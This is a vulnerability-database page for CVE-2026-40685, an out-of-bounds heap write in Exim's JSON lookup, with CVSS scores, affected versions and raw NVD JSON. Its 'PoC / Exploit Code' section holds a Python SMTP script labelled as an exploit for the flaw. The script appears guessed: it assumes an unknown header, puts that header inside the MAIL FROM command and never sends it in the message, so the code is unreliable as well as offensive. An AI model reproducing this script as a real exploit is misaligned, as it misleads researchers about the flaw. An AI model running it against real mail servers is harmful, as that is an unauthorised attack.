Security Vulnerability Report
中文
CVE-2026-40685 CVSS 6.5 MEDIUM

CVE-2026-40685

Published: 2026-04-30 22:16:26
Last Modified: 2026-05-01 17:51:07

Description

In Exim before 4.99.2, when JSON lookup is enabled, an out-of-bounds heap write can occur when a JSON operator encounters malformed JSON in an untrusted header, because of an incorrect implementation of \ skipping.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:* - VULNERABLE
Exim < 4.99.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target configuration target_ip = "127.0.0.1" target_port = 25 # Malformed JSON payload to trigger incorrect \ skipping # This payload is crafted to cause an out-of-bounds heap write malformed_json = '{"a": "\\\\x00"}' try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # SMTP Interaction s.recv(1024) # Banner s.send(b"HELO test.com\r\n") s.recv(1024) # Send payload in a header that triggers JSON lookup # Assuming 'X-JSON-Test' might be used in a lookup configuration s.send(f"MAIL FROM:<attacker@local> X-Trigger-JSON: {malformed_json}\r\n".encode()) s.recv(1024) s.send(b"RCPT TO:<victim@local>\r\n") s.recv(1024) s.send(b"DATA\r\n") s.recv(1024) s.send(b"Subject: PoC\r\n\r\n.\r\n") s.recv(1024) s.close() print("Payload sent.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40685", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:25.633", "lastModified": "2026-05-01T17:51:06.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Exim before 4.99.2, when JSON lookup is enabled, an out-of-bounds heap write can occur when a JSON operator encounters malformed JSON in an untrusted header, because of an incorrect implementation of \\ skipping."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-684"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.99.2", "matchCriteriaId": "E48EAA99-95DA-4695-BBEA-16D09AA0A508"}]}]}], "references": [{"url": "https://code.exim.org/exim/exim/commit/9fdc057e71b87c87a0d3d2288b2810a0efaaba57", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://exim.org/static/doc/security/CVE-2026-40685.txt", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://exim.org/static/doc/security/cve-2026-04.1/CVE2026-40685.assessment", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/30/21", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}]}}